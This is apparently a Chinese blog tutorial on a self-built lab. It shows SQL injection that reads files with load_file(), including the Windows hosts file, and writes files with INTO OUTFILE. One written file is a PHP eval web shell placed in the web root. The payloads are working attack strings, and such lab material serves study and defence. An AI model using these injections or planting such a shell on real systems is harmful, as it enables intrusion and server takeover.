您当前的位置: 首页 >  sql

星球守护者

暂无认证

  • 0浏览

    0关注

    641博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

sql注入之读写文件案例实验

星球守护者 发布时间:2020-02-21 19:43:12 ,浏览量:0

文章目录
    • 环境搭建
    • 第一节 前提条件
    • 第二节 读取文件操作
    • 第三节 写入文件操作
    • 免责声明

环境搭建

Window-server2008 —phpstudy-----搭建自己的网页 在这里插入图片描述

第一节 前提条件

我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件。 在这里插入图片描述 1.secure-file-priv

改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。 在这里插入图片描述在这里插入图片描述

2. 当前用户具有文件权限 查询语句[select File_priv from mysql.user where user="root" and host="localhost"]。 在这里插入图片描述 3 知道要写入目标文件的绝对路径

第二节 读取文件操作

[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 12,13,14,15 --+ ] 在这里插入图片描述

第三节 写入文件操作

[?id=33%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,%27%3C?php%20phpinfo();?%3E%27,12,13,14,15%20into%20outfile%20%27c:\\phpstudy\\www\\1.php%27%20--+],直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件[http://localhost/1.php]

在这里插入图片描述在这里插入图片描述

[?id=33%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,%27%3C?php%20@eval($_REQUEST[777]);?%3E%27,12,13,14,15%20into%20outfile%20%27c:\phpstudy\www\2.php%27%20–+] 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!

关注
打赏
1662051426
查看更多评论
立即登录/注册

微信扫码登录

0.0705s